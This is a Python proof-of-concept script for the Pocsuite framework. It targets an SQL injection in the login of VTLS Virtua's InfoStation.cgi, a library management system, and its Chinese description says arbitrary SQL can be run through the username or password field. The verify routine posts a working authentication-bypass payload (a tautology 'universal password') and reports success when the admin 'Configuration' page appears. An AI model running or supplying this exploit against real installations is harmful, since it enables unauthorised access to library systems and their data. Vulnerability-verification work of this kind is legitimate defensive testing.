VTLS Virtua InfoStation.cgi - SQL Injection

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '87206'  # ssvid
    version = '1.0'
    author = ['feng']
    vulDate = '2014-10-20'
    createDate = '2016-01-01'
    updateDate = '2016-01-01'
    references = ['http://www.sebug.net/vuldb/ssvid-87206']
    name = 'VTLS Virtua InfoStation.cgi - SQL Injection'
    appPowerLink = 'http://www.iii.com/solutions/open-library-experience'
    appName = 'VTLS-Virtua'
    appVersion = ''
    vulType = 'SQL injection'
    desc = '''
        Innovative Interfaces Innovative vtls-Virtua是美国Innovative Interfaces公司的一套图书馆管理系统。该系统提供采购、编目和检索等模块。
        Innovative Interfaces Innovative vtls-Virtua 2013.2.4之前版本和2014.1.1之前2014.x版本的web_reports/cgi-bin/InfoStation.cgi脚本的登录中存在SQL注入漏洞。
        远程攻击者可借助‘username’或‘password’参数利用该漏洞执行任意SQL命令。
    '''
    samples = ['']

    def _attack(self):
        result = {}
        #Write your code here

        return self.parse_output(result)

    def _verify(self):
        result = {}
        
        url = '/web_reports/cgi-bin/InfoStation.cgi'
        para = '?mod=login&func=login&lang_code=en'

        #万能密码
        payload = '1\' or \'1\'=\'1'
        data = {
            'mod':'login',
            'func':'process',
            'database':'1',
            'lang_code':'en',
            'report_group':'Acq',
            'filter':'aaa',
            'username':payload,
            'password':''
        }
        r = req.Session()
        res = r.get(self.url + url + para)

        res = r.post(self.url + url,data=data)

        #万能密码登录成功
        if 'Configuration' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url + url + '?mod=login&lang_code=en'
            result['VerifyInfo']['Postdata'] = 'mod=login&func=process&database=1&lang_code=en&report_group=Racq&filter=aaa&username=%s&password=' % payload

        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)